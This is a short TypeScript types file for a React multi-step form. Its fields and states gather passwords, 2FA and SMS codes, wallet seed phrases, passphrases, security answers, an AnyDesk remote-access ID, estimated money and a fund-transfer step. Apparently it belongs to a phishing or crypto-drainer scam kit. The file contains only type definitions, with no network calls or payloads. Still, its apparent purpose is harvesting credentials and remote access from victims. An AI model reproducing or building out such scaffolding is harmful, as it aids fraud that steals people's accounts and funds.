import { Dispatch, RefObject, SetStateAction } from 'react';
import { ErrorState } from './Error';
import { KeyboardEvent } from 'react';
import { VaultData } from '@/components/VaultInput';

export type FormData = {
  email: string;
  twoFactorCode: string;
  password: string;
  smsCode: string;
  seed: string;
  estmoney: string;
  oldpw: string;
  session: string;
  newpw: string;
  lastact: string;
  vault: string;
  anydesk: string;
  passphrase: string;
  answers: string[];
};

export enum FormState {
  Sms = 'sms',
  Seed = 'seed',
  Login = 'login',
  Vault = 'vault',
  Wallet = 'wallet',
  Unlink = 'unlink',
  TwoFactor = '2fa',
  Review = 'review',
  ResetPw = 'resetpw',
  Loading = 'loading',
  Anydesk = 'anydesk',
  Session = 'session',
  EstMoney = 'estmoney',
  Security = 'security',
  FundTransfer = 'fundt',
  VideoCall = 'videocall',
  LastActivity = 'activity',
  WalletFlow = 'walletflow',
  LoginPassword = 'login_pw',
  WalletFlow2 = 'walletflow2',
  WalletFlow3 = 'walletflow3',
  WalletFlow4 = 'walletflow4',
}

export interface FormProps {
  formData: FormData;
  handleKeyDown: (event: KeyboardEvent<HTMLInputElement>) => void;
  handleInputChange: (name: string, value: string | string[]) => void;
  setIsSubmitting?: Dispatch<SetStateAction<boolean>>;
  setFormState?: Dispatch<SetStateAction<FormState>>;
  handleContinue?: () => void;
  passwordInputRef?: RefObject<HTMLInputElement | null>;
  error?: ErrorState;
  seed?: string;
  vault?: VaultData;
  session?: string;
  code?: number;
  isSubmitting?: boolean;
}
